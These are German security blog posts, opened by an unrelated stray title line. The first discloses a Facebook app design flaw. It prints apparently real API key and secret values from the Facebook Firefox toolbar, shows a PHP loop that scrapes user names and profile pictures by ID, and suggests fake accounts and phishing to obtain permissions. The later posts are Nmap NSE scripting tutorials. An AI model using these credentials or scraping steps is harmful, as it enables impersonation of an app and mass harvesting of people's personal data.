Zip Files All The Way Down (18.03.2010), rsc, research.swtch.com

Marc Ruef

► 21.05.2010 – Facebook Anwendungen Design-Schwachstelle

Das US-amerikanische Unternehmen Facebook stellt mit facebook.com den gegenwärtig populärsten Vertreter sozialer Netzwerke zur Verfügung. Der in erster Linie für Privatanwender ausgerichtete Dienst listet über 400 Millionen Benutzer weltweit, wobei sich davon 50 % einmal pro Tag einloggen und 9 % ihren Status aktualisieren.

Facebook ist darum bemüht, wie auch andere Plattformen, durch offene Schnittstellen die Unterstützung für Applikationen bereitzustellen. Dadurch kann die Funktionalität des Dienstes durch Drittanbieter erweitert werden. In diesem Beitrag werden wir die FQL-Kommunikation mit Facebook erklären und damit eine grundlegende Schwachstelle im Anwendungsdesign aufzeigen:

Schwachstelle: Jede Facebook-Anwendung muss durch einen Benutzer genehmigt werden. Anhand eines API-Schlüssels wird diese dann durch Facebook authorisiert, auf gewisse Datenbestände zuzugreifen. Durch das Auslesen von API-Schlüsseln öffentlichen und durch Benutzer genehmigte Applikationen, können diese emuliert und damit erweiterte Rechte auf Profildaten durch Dritte erlangt werden.

Einführung in FQL

Durch verschiedene Schnittstellen sehen sich Entwickler in der Lage, mit Facebook zu interagieren. Dadurch wird die Grundlage für Games und Anwendungen geschaffen. Einer dieser Mechanismen ist FQL. Dieses Akronym steht für Facebook Query Language, eine stark an SQL angelehnte Sprache für Datenbankabfragen:

Facebook Query Language, or FQL, allows you to use a SQL-style interface to more easily query the same Facebook social data that you can access through other Facebook API methods (assuming your application has access!).

Jedem steht es frei, eine eigene Applikation für Facebook zu schreiben. Hierzu ist es lediglich erforderlich, dass man sich im Besitz eines gültigen Facebook-Kontos befindet. Einmal eingeloggt muss man auf diesem lediglich die Developers Application installieren. Innerhalb dieser können nun neue Anwendungen initialisiert werden. Im Rahmen der Konfiguration einer solchen erhält man daran gebundene Authentisierungs-Daten. Diese bestehen aus einem API-Key (Benutzername) und einem API-Secret (Passwort). Diese werden benötigt, damit die Anwendung durch Facebook identifiziert und im Rahmen des Dienstes agieren kann.

Die Facebook-Libraries stehen für verschiedene Plattformen zur Verfügung (z.B. PHP, Perl und Javascript). Diese erlauben eine sehr einfache Interaktion mit den API-Schnittstellen. Im gezeigten Beispiel werden wir die offizielle PHP5-Library, wie sie von Facebook zum Download angeboten wird, benutzen. Nachfolgendes Skript – es handelt sich dabei um eine sogenannte Desktop Application – zeigt an einem sehr einfachen Beispiel, wie grundlegende Informationen zu einem Benutzer ausgelesen werden können:

<?php

	require ‘_inc/facebook.php’;

	$apikey = ‘my_public_api_key’;

$apisec = ‘my_hidden_api_secret’;

	$facebook = new Facebook($apikey, $apisec);

	$fql = ‘SELECT uid, first_name, last_name FROM user WHERE uid=123456790’;

$result = $facebook->api_client->fql_query($fql);

print_r($result);

	?>

Zuerst wird mit require die PHP-Library eingebunden. Danach werden in den Variablen $apikey und $apisec die der Applikation zugewiesenen Authentisierungsdaten abgelegt und damit das Objekt $facebook instanziert. Nun wird die FQL-Abfrage vorbereitet. Diese führt eine SELECT-Abfrage für die Felder uid (User-ID), first_name (Vorname) und last_name (Nachname) der Tabelle user durch, wobei jene Datensätze ausgegeben werden sollen, bei denen die uid auf den Wert 1234567890 gesetzt wurde. Dieses FQL-Statement wird dann entsprechend über den API-Client aufgerufen und das in $result ausgegebene Resultat mit der Debugging-Funktion print_r() von PHP ausgegeben.

Wird nun dieses Skript aufgerufen, kann offensichtlicherweise gesehen werden, dass Vor- und Nachname des Benutzers mit der uid 1234567890 (dies ist ein fiktiver Beispielbenutzer) ausgelesen werden kann. Im zurückgegebenen assoziativen Array werden in den Feldern $result[0]['first_name'] der Wert Alan und in $result[0]['last_name'] der Wert Turing abgelegt:

maru@debian:~/labs/facebook$ php fql_userdata.php
Array
(
    [0] => Array
        (
            [uid] => 1234567890
            [first_name] => Alan
            [last_name] => Turing
        )
)

Automatische Datensammlung

Durch ein solches Skript kann nun eine automatisierte Auswertung von Facebook-Usern umgesetzt werden. Die folgende Anpassung der Abfrage führt dazu, dass für sämtliche Benutzer mit den User-ID 10000 bis 20000 der Name und die URL des Profilbilds (pic) ausgelesen und in einer CSV-Liste dargestellt werden:

for($i=10000; $i<20000; ++$i){
	$fql = 'SELECT uid, name, pic FROM user WHERE uid='.$i;
	$result = $facebook->api_client->fql_query($fql);
	echo $result[0]['name'].';'.$result[0]['pic']."\n";
}

Die Definition der WHERE-Klausel lässt sich nur auf indizierbare Datenfelder anwenden (Indexable). Im Fall der Tabelle User sind dies uid (User-ID), name (kompletter Name) und username (Benutzername). Ein Filtern nach Geschlecht oder Religionen ist aus Sicherheitsgründen innerhalb des FQL-Statements nicht möglich.

$fql_uid = 'SELECT uid FROM user WHERE uid=123456790';

$fql_name = 'SELECT uid, name FROM user WHERE name="Alan Turing"';

$fql_user = 'SELECT uid, username FROM user WHERE username="turing1912"';

Durch die Iteration der User-ID, dies kann durch eine simple for-Schleife geschehen, können schnell und effizient die Daten verschiedener Personen zusammengetragen werden (ein Filtern der Datensätze kann anhand der Rückgabedaten geschehen). In der gezeigten Fassung des Skripts können jedoch nur jene Felder der Tabelle ausgelesen werden, die durch die Benutzer in ihren Privatsphäre-Einstellungen für Alle freigegeben wurden. Dies sind einerseits die für die Suche indizierten Grunddaten:

User-ID
Kompletter Name
Benutzername

Zusätzlich sind dies aber seit den umstrittenen Anpassungen der Freigabemöglichkeiten Ende 2009 – stetige Anpassungen an den Privacy-Einstellungen können dies aber in Zukunft ändern – ebenfalls standardmässig (können jedoch individuell angepasst werden):

Über mich
Gefällt mir und Interessen
- Interessen
- Aktivitäten
- Favoriten
Familie und Beziehung
- Familienmitglieder
- Beziehungsstatus
- Interessiert an
- Auf der Suche nach
Ausbildung und Beruf
- Schulen
- Hochschulen
- Arbeitsplätze
Beiträge
- Statusmeldungen
- Links
- Notizen
- Fotos
- Videos

Jenachdem wenn ein Benutzer ein Mehr an Freigaben umgesetzt hat, können ohne weiterführende Authentisierung auch auf diese zugegriffen werden. Das Skript kann jedoch dahingehend erweitert werden, dass es einen Login für einen legitimen Facebook-Account vornimmt und damit mit einer Session samt session_key aufwarten kann. Stehen das eigene Konto und das Konto der Zielperson in Beziehung zueinander (Freundschaftsanfrage angenommen), dann kann im Rahmen des erweiterten Kontext agiert werden. Damit werden Zugriffe auf Bereiche möglich, die nur für Freunde einsehbar sind (standardmässig sind dies Kommentare zu Beiträgen). Das Auswerten der eigenen Freunde oder das Heranziehen eines populären Fake-Accounts können Zugriffe also massgeblich optimieren.

In Bezug auf die Zugriffsrechte ist eine interessante Diskrepanz zwischen FQL und der offiziellen Facebook-Webseite zu beobachten. So sei ein Foto-Album nur für Freunde einsehbar. Ein Darin gepostetes Foto ist jedoch für Alle einsehbar. In diesem Fall kann über die Webseite nicht auf das Foto zugegriffen werden, da immer zuerst die Rechte des Eltern-Objekts (in diesem Fall das Foto-Album) mitberücksichtigt werden. Durch einen Zugriff über FQL wird es möglich, diese Einschränkung zu umgehen, indem direkt auf das Bild zugegriffen und damit das Album nicht tangiert wird.

Genehmigung von Facebook-Anwendungen

Doch noch auf einer weiteren Ebene müssen Zugriffsberechtigungen berücksichtigt werden. Und zwar erlaubt Facebook, dass eine Anwendung autorisiert wird. Bei der Installation bzw. ersten Nutzung dieser durch den Anwender kann sie sich um eine entsprechende Freigabe bemühen. Der Benutzer geht mit der Applikation eine ähnliche Beziehung ein, wie durch das Akzeptieren einer Freundschaftsanfrage. Dabei kann der Benutzer um das Zulassen unterschiedlicher Zugriffe (extended permissions) erfragt werden. Für eine Desktop-Anwendung wie die unsere wird es beispielsweise erforderlich, dass offline_access unterstützt wird. Damit können Zugriffe getätigt werden, auch wenn der Benutzer offline ist und keine Session besteht.

Wird einer Anwendung durch einen Benutzer erweiterte Rechte beigemessen, können diese von nun an gebraucht werden. Dabei identifiziert Facebook anhand des eingehend beschrieben API-Key, welche Anwendung einen Zugriff durchführen möchte. Gehört diese zu den beglaubigten Applikationen, wird der Zugriff, sofern der das richtige API-Secret mitgeliefert wird, erlaubt. Das grundlegende Problem ist nun, dass ein böswilliger Entwickler darum bemüht sein kann, eine den Zugriff einer legitim beglaubigten Applikation vorzutäuschen. Zu diesem Zweck muss er lediglich Key und Secret in Erfahrung bringen und in seiner Anwendung nutzen. Hierzu können verschiedene technische Möglichkeiten verfolgt werden:

Sniffing einer Applikations-Authentisierung: Durch das Mitlesen der Netzwerkkommunikation können Key und Secret ausgelesen werden.
Reverse Engineering eines Applikations-Binary: Wenn von einer Applikation ausschliesslich eine vorkompilierte Version vorliegt, kann versucht werden innerhalb eines Reversing die jeweiligen Daten zu extrahieren.
Source Code Analyse einer quelloffenen Applikation: Bei quelloffenen Applikationen kann mit der Durchsicht des Quelltext die entsprechenden Daten extrahiert werden.

Der API-Key wird als öffentlich verstanden. Er ist beispielsweise für sämtliche Applikationen im Feld api_key in der Tabelle application ausgewiesen. Das Risiko des Diebstahls des API-Secret ist Facebook bewusst und wird in den Developer-Dokumenten an verschiedenen Stellen hervorgehoben:

When you configure an application with the Facebook Developer application, you are given an API key and an application secret. You can disregard the application secret and you should never include it in your desktop application’s code, as it can be decompiled and used maliciously.

Ein typisches Beispiel für eine quelloffene Applikation, aus der man Key und Secret einfach auslesen kann, ist die offizielle Facebook-Toolbar für Firefox. Standardmässig findet sich im Verzeichnis der Extension das Unterverzeichnis components. In diesem ist die Datei facebook.js enthalten. Wird diese in einem Dateieditor geöffnet, kann die Funktion facebookService() gesucht werden. Zu Beginn dieser werden die beiden Werte in den jeweiligen Variablen festgelegt (getestet in Version 1.4.2):

this._apiKey = '8d7be0a45c164647647602a27106cc65';
this._secret = 'c9646e8dccec4c2726c65f6f5eeca86a';

Diese Werte können nun in die eigene Applikation übernommen werden, indem die ursprünglich für sich selbst vorgesehenen Werte überschrieben werden. Von nun an hält Facebook unsere Applikation für eine Ausgabe der Facebook-Toolbar. Erlaubt ein Anwender erweiterte Zugriffe für diese Anwendung, können wir von dieser vorangegangenen Autorisation profitieren. Auf der Seite der Applikation findet sich eine Liste sämtlicher Fans eben dieser (über 20’000 Fans, 15’500 Benutzer pro Monat, Stand April 2010). Es bietet sich sodann an, all jene mit einer erweiterten Auswertung über FQL anzugehen. In der Tabelle user kann das bool’sche Datenfeld is_app_user ausgelesen werden, um zu erkennen, ob ein Anwender die eigene Applikation benutzt. Die Tabelle permissions kann genutzt werden, um die vom Benutzer genehmigten Zugriffe zu identifizieren.

Zugriffsrechte einer Facebook-Anwendung

Es liegt mitunter an den Entwicklern von Anwendungen, dass sich diese nicht in unnötiger Weise um erweiterte Zugriffsmöglichkeiten bemühen sowie ihre geheimen API-Informationen öffentlich machen (letzteres ist bei quelloffenen Projekten leider nicht wirklich verhinderbar; es ist anzunehmen, dass irgendwann geheime Keys getauscht werden). Die benannte Toolbar ist ein Lehrstück darin, wie nur die wirklich benötigten Genehmigungen eingeholt werden. So werden nicht einfach pauschal sämtliche Zugriffsmöglichkeiten angefragt.

Genehmigung der Facebook-Symbolleiste für Firefox

Eine Anwendung kann über verschiedene Mechanismen eine Autorisierung erfragen. Bei Desktop-Applikationen – wie unseres PHP-Skripts – bietet sich hierfür der Browser-Zugriff über eine präparierte URL an. Ruft ein Benutzer diese Seite auf, muss er sich zuerst auf Facebook einloggen (falls keine authentisierte Session besteht), um dann die Autorisation zu beglaubigen:

http://www.facebook.com/login.php?api_key=my_public_api_key&connect_display=popup&v=1.0&next=http://www.facebook.com/connect/login_success.html&cancel_url=http://www.facebook.com/connect/login_failure.html&fbconnect=true&return_session=true&session_key_only=true&req_perms=read_stream,publish_stream,offline_access

Das Erstellen und Verschicken solcher URLs kann eigentlich autonom von der eigenen Anwendung geschehen. Zum Beispiel könnte im Rahmen eines zielgerichteten Social Engineering-Zugriffs oder einer breitflächigen Phishing-Attacke die entsprechenden Genehmigungen (auf Vorrat) eingeholt werden. Wird eine Applikation einem Benutzer schmackhaft gemacht, könnte dieser in seiner Leichtgläubigkeit die erweiterten Zugriffsrechte ohne Bedenken vergeben. Weiterführende Zugriffe mit den erweiterten Rechten werden dadurch möglich.

Auch wenn einer Applikation gewisse Zugriffsrechte eingeräumt wurden, kann diese dann nicht ohne weiteres nach Belieben agieren. Für gewisse Zugriffe ist eine Authentisierung mit den legitimen Benutzerdaten des zu tangierenden Kontos erforderlich. Zum Beispiel für das Auslesen des Nachrichteneingangs oder das Erstellen von neuen Statusmeldungen.

Fazit

Dieses erweiterte Angriffsszenario illustriert ein generelles Problem von Facebook. Eine ausgeführte Anwendung, dies kann auch Online-Applikationen betreffen, nimmt für sich ein relativ hohes Mass an Zugriffsrechten in Kauf (mindestens jene aus User.getStandardInfo). Werden gar zusätzliche Rechte während der Autorisation eingeräumt, kann diese Anwendung genutzt werden, um ein regelmässiges und umfassendes Ausspionieren des Benutzers voranzutreiben. Data Mining einer Zielperson wird damit sehr einfach und effizient umsetzbar. Erste Forschungsresultate wurden in den letzten Wochen veröffentlicht und die Angriffsmöglichkeiten lassen sich noch weiterspinnen.

Dubiose Applikationen werden voraussichtlich einen grossen Teil des Angebots auf Facebook ausmachen. Die Identifikation dieser durch Anwender wird aufgrund der fehlenden Quelloffenheit nicht ohne Weiteres möglich sein. Verdachtsmomente sollten jedoch dringend berücksichtigt und auf das Installieren unnötiger Anwendungen verzichtet werden. Das Umsetzen von Schutzmassnahmen in Sozialen Netzen muss also sowohl für Anwender als auch für Applikationen durchgesetzt werden.

Marc Ruef

► 13.05.2010 – Nmap NSE Hacking, Teil 7: Portunabhängige Analysen

Teil 1: Einführung
Teil 2: Derivatives Plugin eines Portscan
Teil 3: Komplexes Skript mit Version Info
Teil 4: Netzwerkkommunikationen
Teil 5: HTTP-Kommunikationen
Teil 6: Application Fingerprinting selber implementieren
Teil 7: Portunabhängige Analysen

In den bisherigen Teilen dieser Schriftenreihe haben wir uns ausschliesslich auf die Entwicklung von sogenannten portrules konzentriert. Diese definieren, bei welchen Port-Konstellationen ein NSE-Skript ausgeführt wird. Dieses kann pro Host n mal ausgeführt werden, wobei eine maximale Ausführung pro Port auf 1 festgelegt ist.

In siebten Teil werden wir nun sogenannte hostrule-Skripte anschauen. Damit wird die Grundlage für Skripte geschaffen, die unabhängig von Ports ausgeführt werden. Stattdessen werden diese je nach Konstellation eines Hosts und damit maximal 1 mal pro Zielsystem, ausgeführt. Es gibt eine Reihe von Möglichkeiten, die sich mit einem hostrule-Skript erschliessen. Damit werden breitflächige Analysen von Hosts und deren Funktionen möglich:

Portstatus summieren/gruppieren (z.B. alle gefilterten Ports und alle tcpwrapped Ports zusammenfassen als firewalled)
IP-Adressstrukturen berücksichtigen oder überprüfen (z.B. x.x.x.1 und x.x.x.254 deuten auf ein Gateway hin)
Hostnamen berücksichtigen (anhand der Hostnamen die Funktion eines Hosts erkennen; z.B. www.scip.ch ⇒ ^www\.(.*)$ ⇒ Webserver)

Eine hostrule kann zum Beispiel so umgesetzt werden, dass nur gewisse IP-Adressbereiche oder spezifische Hostnamen das Durchlaufen des Skripts initiieren lässt. Zum Beispiel könnten sämtliche Systeme, die im letzten Oktett der IP-Adresse die Zahl 1 haben, angegangen werden. Die meisten hostrule-Skripte werden jedoch in jedem Fall ausgeführt, weshalb wir in unserem Beispiel ebenfalls stets true zurückliefern werden:

hostrule = function(host, port)
   return true
end

Danach wird, wie wir dies schon von den Skripten mit portrule gewohnt sind, die entsprechende Action-Funktion ausgeführt. Unser Skript soll sämtliche Ports des Portscans durchgehen und die als offen deklarierten Ports dokumentieren. Hierzu wird in einer for-Schleife sämtliche möglichen Ports durchgegangen.

Um auf die generischen Daten zurückzugreifen, welche durch nmap zusammengetragen wurden, verwenden wir die Library nmap. Mit der Funktion nmap.get_port_state() kann der ermittelte Portstatus extrahiert werden. Diese Funktion erwartet als erstes Argument den Host und als zweites Argument eine Table mit der Port-Definition. Diese besteht aus Portnummer und Protokoll (z.B. tcp). Benutzt der in portstatus abgelegte Portstatus für portstatus.state den String open, wird der identifizierte Port in den String result geschrieben. Und dieser wird am Ende mit return ausgegeben.

action = function(host, port)
      local portdefinition
      local portstatus
      local result = “”

      for i=1, 65535, 1 do
            portdefinition = {number=i, protocol=“tcp”}
            portstatus = nmap.get_port_state(host, portdefinition)

            if portstatus ~= nil and portstatus.state  "open" then
                  if result  “” then
                        result = i
                  else                  
                        result = result .. “, “ .. i
                  end
            end
      end

      if result ~= “” then      
            return “Open Ports:\n” .. result)
      end
end

Wie definiert, wird dieses Skript auf jeden Host angewendet, der im Rahmen eines Portscans als erreichbar identifiziert wurde. Danach werden die im Rahmen des Portscans von nmap zusammengetragenen Portstatus identifiziert und die offenen Ports ausgegeben:

Host script results:
| openports: Open Ports:
| 21, 22, 80, 443

In diesem spezifischen Beispiel gilt es zu beachten, dass ein nicht gescannter Port jeweils den Status nil besitzt. Wird zum Beispiel nmap mit dem Schalter -p80,443 aufgerufen und die for-Schleife durchläuft sämtliche Ports von 1 bis 65535, dann kann explizit nur für die beiden Ports 80 und 443 ein konkreter Status ermittelt werden.

In dieser siebenteiligen Artikelserie haben wir die Möglichkeiten und Funktionsweise der Nmap Scripting Engine, welche auf der Sprache Lua basiert, kennengelernt. Wir haben unterschiedliche Skripte geschrieben, mit denen auf der Basis der von nmap zusammengetragenen Informationen sowie eigens umgesetzten Netzwerkzugriffen eine erweiterte Auswertung durchgesetzt werden kann. Damit lässt sich nmap zu einem vollumfänglichen Vulnerability Scanner erweitern.

Marc Ruef

► 12.05.2010 – Nmap NSE Hacking, Teil 6: Application Fingerprinting selber implementieren

Teil 1: Einführung
Teil 2: Derivatives Plugin eines Portscan
Teil 3: Komplexes Skript mit Version Info
Teil 4: Netzwerkkommunikationen
Teil 5: HTTP-Kommunikationen
Teil 6: Application Fingerprinting selber implementieren
Teil 7: Portunabhängige Analysen

In den letzten Teilen dieser Schriftenreihe haben wir die erweiterte Funktionalitäten von NSE/Lua kennengelernt. Besonders die beiden durch nmap mitgelieferte Bibliotheken zum Umgang mit Sockets und HTTP-Kommunikationen sind in den Mittelpunkt des Interesses gerückt. Durch sie lassen sich eigene Netzwerkzugriffe durchsetzen und damit die volle Funktionalität eines Vulnerability Scanners erreichen.

In diesem Teil wollen wir unser Verständnis für die Bibliothek http – die Grundlagen derer gelten als Voraussetzung für das Verständnis dieses Teils – vertiefen. Wir werden eine spezielle Form der Version Detection implementieren. Und zwar werden wir den HTTP-Header der Rückantworten eines Webservers analysieren, um anhand dieses HTTP-Fingerprinting die gegebene Implementierung ableiten zu können. Damit wird die Grundfunktionalität geschaffen, die wir in der angekündigten NSE-Portierung von httprecon erreichen wollen.

Mit httprecon wurde 2007 ein Projekt ins Leben gerufen, das sich um die Verbesserung von HTTP-Fingerprinting bemüht. Eine erster Implementierung einer automatisierten Software wurde für Windows umgesetzt. Hierbei kommen eine Reihe von Anfragen zum Tragen, bei denen die HTTP-Header der Rückantworten ausgewertet werden. Je höher die Fingerprint-Matches ausfallen, desto eher kann eine entsprechende Implementierung identifiziert werden. Nachfolgend ein typischer Scan mit httprecon für Windows:

Die gesamte Funktionalität von httprecon in diesem Artikel nachzubilden, würde den Rahmen dessen bei weitem sprengen. Stattdessen soll einfach das Grundprinzip einer entsprechenden Implementierung vorgetragen werden.

Die nmap NSE-Portierung von httprecon kann auf der offiziellen Projektseite heruntergeladen werden.

Das Grundprinzip von httprecon basiert darauf, die einzelnen Eigenschaften des HTTP-Headers zu extrahieren und diese Fingerprints mit den in der Datenbank gespeicherten zu vergleichen. Die Datenbank wird durch kommagetrennte Dateien (CSV) bereitgestellt. Der Statustext für nicht existente Seiten (404 Not Found) wird beispielsweise wie folgt vorgelegt:

Apache;Not Found
Compaq HTTP Server;Ok
Microsoft IIS;Object Not Found
Netscape Enterprise Server;Not found
Oracle Application Server;Not Found

Hier sind zwei grundsätzliche Unterschiede in den jeweiligen Zeichenketten zu erkennen:

Es werden unterschiedliche Zeichenketten verwendet:
- Apache, Netscape und Oracle benutzen Not Found
- Compaq benutzt Ok
- Microsoft benutzt Object Not Found
Die Gross-/Kleinschreibung fällt bei gleichem Text Not Found unterschiedlich aus:
- Apache und Oracle schreiben Found gross
- Netscape schreibt found klein

Wird nun der HTTP-Header eines Webservers so dissektiert, dass der Statuscode extrahiert werden kann, lässt er sich anhand dieser Merkmale vergleichen. Je nach zu beobachtenden Charakteristika kann damit der Webserver, in einigen Fällen gar bis auf die Version genau, ausgemacht werden. Die Kombination des Vergleichs unterschiedlicher Zugriffe und ihrer Merkmale erhöht die Genauigkeit dieser Determinierung.

Zu diesem Zweck muss als erstes eien Reaktion des Webservers provoziert werden. Dies kann durch unterschiedliche Mechanismen (z.B. verschiedene HTTP-Methoden, Ressourcen, Protokoll-Versionen und Header-Informationen) erfolgen. Nachfolgend wird dies mit der in der Funktion send_http_request() getan. Diese lässt neben der Definition des Zielsystems und -ports ebenfalls die zu nutzende HTTP-Methode sowie Ressource zu. Hierbei wird eine übliche GET-Anfrage für das Standarddokument durchgesetzt. Die Rückantwort wird dann weiterführend durch die Funktion identify_fingerprint(), welche sich an der Fingerprint-Datenbank im Verzeichnis scripts/httprecon/get_existing/ orientiert, analysiert.

response = send_http_request(host, port, "GET", "/")
if type(response) == "table" then
   identify_fingerprint(response, "scripts/httprecon/get_existing/")
end

Wie zu sehen ist, wird sodann die Rückantwort unterschiedlichen Tests unterzogen. Hauptsächlich wird dabei der Wert einer Header-Zeile verglichen. Ein typisches Beispiel ist der Banner, welcher in der Server-Zeile bereitgestellt wird. Zusätzlich werden aber ebenfalls Schreibweisen (Gross-/Kleinschreibung), Interpunktion (Komma, Komma+Abstand) sowie Reihenfolgen (z.B. Header-Order und Vary-Order) berücksichtigt.

function identify_fingerprint(res, db)
   find_match_in_db(db.."accept-range.fdb", get_header_value(get_header_line(res.rawheader, "Accept-Ranges", false)), 1)
   find_match_in_db(db.."banner.fdb", get_header_value(get_header_line(res.rawheader, "Server", false)), 3)
   find_match_in_db(db.."cache-control.fdb", get_header_value(get_header_line(res.rawheader, "Cache-Control", false)), 2)
   find_match_in_db(db.."connection.fdb", get_header_value(get_header_line(res.rawheader, "Connection", false)), 2)
   find_match_in_db(db.."content-type.fdb", get_header_value(get_header_line(res.rawheader, "Content-Type", false)), 1)
   find_match_in_db(db.."etag-legth.fdb", string.format("%s", string.len(get_header_value(get_header_line(res.rawheader, "ETag", false)))), 3)
   find_match_in_db(db.."etag-quotes.fdb", get_quotes(get_header_value(get_header_line(res.rawheader, "ETag", false))), 2)
   find_match_in_db(db.."header-capitalafterdash.fdb", string.format("%s", capital_after_dash(analyze_header_order(res.rawheader))), 2)
   find_match_in_db(db.."header-order.fdb", analyze_header_order(res.rawheader), 5)
   find_match_in_db(db.."header-space.fdb", string.format("%s", header_space(res.rawheader)), 2)
   find_match_in_db(db.."htaccess-realm.fdb", get_realm(get_header_line(res.rawheader, "WWW-Authenticate", false)), 3)
   find_match_in_db(db.."pragma.fdb", get_header_value(get_header_line(res.rawheader, "Pragma", false)), 2)
   find_match_in_db(db.."protocol-name.fdb", get_protocol_name(res['status-line']), 1)
   find_match_in_db(db.."protocol-version.fdb", get_protocol_version(res['status-line']), 2)
   find_match_in_db(db.."statuscode.fdb", get_status_code(res.status), 4)
   find_match_in_db(db.."statustext.fdb", get_status_text(res['status-line']), 4)
   find_match_in_db(db.."vary-capitalize.fdb", string.format("%s", has_capital(get_header_line(res.rawheader, "Vary", false))), 2)
   find_match_in_db(db.."vary-delimiter.fdb", vary_delimiter(get_header_line(res.rawheader, "Vary", false)), 2)
   find_match_in_db(db.."vary-order.fdb", get_header_value(get_header_line(res.rawheader, "Vary", false)), 3)
   find_match_in_db(db.."x-powered-by.fdb", get_header_value(get_header_line(res.rawheader, "X-Powered-By", false)), 3)
end

Sodann ist die Funktion find_match_in_db() für die Identifikation der Matches in der Datenbank zuständig. Diese erwartet den Inhalt einer Fingerprint-Datei (z.B. statustext.fdb) und den zu findenen Fingerabdruck (z.B. Object Not Found):

function find_match_in_db(databasefile, fingerprint)
   local database      = read_from_file(databasefile) — Fingerprint database
   local delimiterpos                                 — Position of delimiter
   local name                                         — Name of implementation
   local pattern                                      — Pattern of fingerprint
   local arraypos                                     — Position in array

   for i=1, #database, 1 do
      delimiterpos = string.find(database[i], “;”)

      if type(delimiterpos) == “number” then
         name = string.sub(database[i], 1, delimiterpos – 1)
         pattern = string.sub(database[i], delimiterpos + 1)

         if type(pattern)  "string" and pattern ~= ""
            and type(name)  “string” and name ~= “”
            then

            if fingerprint == pattern then
               arraypos = in_array(result, name)

               if type(arraypos) == “number” then
                  result[arraypos] = {
                     matchname = name,
                     count = result[arraypos].count + 1
                     }
               else
                  result[#result + 1] = {
                     matchname = name,
                     count = 1
                     }
               end
            end
         end
      end
   end

   return true
end

Ein Aufruf von function find_match_in_db("statustext.fdb", "Object Not Found") schreibt in die öffentliche Table result sämtliche Systeme, die für diesen Fingerabdruck bekannt sind. Wie wir zuvor gesehen haben, sollte dies Microsoft IIS betreffen.

Mit dem Zugriff auf result[1].name kann sodann der erste Treffer dieses Zugriffs gefunden werden. Wird die Table zuvor entsprechend sortiert (vorzugsweise durch .count), kann damit der beste Treffer mit den meisten Übereinstimmungen ausgemacht werden. Durch das iterieren dieser Table liessen sich dann die 10 besten Hits ausmachen. Die Ausgabe des Skripts für einen erfolgreichen Test eines Webservers sähe entsprechend so aus (hier wurde ein Microsoft IIS 6.0 identifiziert):

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| httprecon:     Implementation     Hits
| 1   Microsoft IIS 6.0  38
| 2   Apache 2.0.46      35
| 3   Apache 2.0.54      34
| 4   Apache 2.2.2       34
| 5   Apache 2.2.8       33
| 6   AOLserver 3.4.2    34
| 7   Apache 1.3.33      33
| 8   Apache 1.3.34      33
| 9   Apache 2.2.3       33
|_10  Zeus 4.3           33

Die offizielle nmap NSE-Portierung von httprecon enthält einige weitere Funktionalitäten. Zum Beispiel erhalten die einzelnen Hits individuelle Werte (Score). Durch diese Gewichtung können genauere und solidere Resultate generiert werden.

Im letzten Teil dieser Artikelserie werden wir abschliessend das Umsetzen von hostbasierten Skripten anschauen. Dabei werden wir mitunter die Möglichkeit schaffen, iterativ die bestehenden Resultate von nmap zu prüfen und zu modifizieren.

Marc Ruef

► 11.05.2010 – Nmap NSE Hacking, Teil 5: HTTP-Kommunikationen

Teil 1: Einführung
Teil 2: Derivatives Plugin eines Portscan
Teil 3: Komplexes Skript mit Version Info
Teil 4: Netzwerkkommunikationen
Teil 5: HTTP-Kommunikationen
Teil 6: Application Fingerprinting selber implementieren
Teil 7: Portunabhängige Analysen

In den ersten Teilen dieser Serie haben wir die grundlegende Funktionsweise des NSE-Skripting kennengelernt: Wir haben die allgemeine Funktionsweise von NSE illustriert, ein erstes derivatives Plugin geschrieben und dieses um die Analyse der Version Info erweitert. Im vierten Teil haben wir erstmals besprochen, wie sich eigene Netzwerkanfragen generieren lassen, um zusätzliche Informationen einholen und Tests durchführen zu können.

Im fünften Teil wollen wir uns nun auf die Funktionen bezüglich HTTP-Kommunikationen fokussieren. NSE stellt mit http eine entsprechende Bibliothek für das genannte Anwendungsprotokoll zur Verfügung. Sodann können mit verschiedenen Methoden HTTP-Anfragen sehr einfach durchgeführt und die jeweiligen Rückantworten direkt dissektiert werden.

Die wohl zentralste Methode lautet http.get(). Sie wird eingesetzt, um reguläre HTTP GET-Anfragen an den Zielport eines Zielsystems durchführen zu lassen. Dadurch können Zugriffe auf freigegebene Ressourcen umgesetzt werden. Diese Methode erwartet mindestens drei Argumente: Die IP-Adresse oder den Hostnamen des Zielsystems, die nummerische Darstellung des Zielports und die aufzurufende Ressource.

local response = http.get(host, port, "/")

Die Rückgabe dieser Methode sind die jeweiligen Elemente der durch die Anfrage provozierten HTTP-Rückantwort. So wird durch response.rawheader der Zugriff auf die einzelnen HTTP-Header-Zeilen möglich und mit response.body kann auf den Body zugegriffen werden.

Das Bereitstellen des Rawheaders erfolgt als Table, wobei eine jede Zeile ein Element darstellt. Dass erstmalig auf diese Datenstruktur zurückgegriffen wird, erschliesst einen zentralen Vorteil: Dadurch kann nämlich separat auf die einzelnen Zeilen zugegriffen werden, ohne sich zuerst um ein Splitting der Einträge kümmern zu müssen (das könnte durch myrawheader = stdnse.strsplit("\r?\n", header) bewerkstelligt werden). Durch response.rawheader[1] wird beispielsweise auf das erste Element in der Table, also die erste Header-Zeile, zugegriffen.

Soll zum Beispiel geprüft werden, ob die die Header-Zeile Server existiert, kann dies mit einer einfachen for-Schleife realisiert werden:

for i=1, #response, 1 do
   if string.find(response.rawheader[i], "^Server: ") then
      return true
   end
end

Eine for-Schleife erwartet, wie bei den meisten Programmiersprachen üblich, drei Argumente. Zuerst findet eine Initialisierung der Zählervariablen statt. In diesem Fall wird i=1 verwendet. Das Zählen der Elemente in einer Table beginnt in Lua immer mit 1 und nicht mit 0, wie bei vielen anderen höheren Programmiersprachen üblich (z.B. C, Java, PHP). Als zweites Argument wird der Ausdruck definiert, der zu einem Beenden des Durchlaufens der Schleife führt. In diesem Fall wird #response verwendet, wodurch die Anzahl der Elemente in der Table, sie alle also durchgegangen, angegeben werden. Und als drittes erfolgt optional das Stepping, also die Definition des Hochzählens. Üblicherweise wird die Zählervariable, so wie hier auch, um 1 inkrementiert.

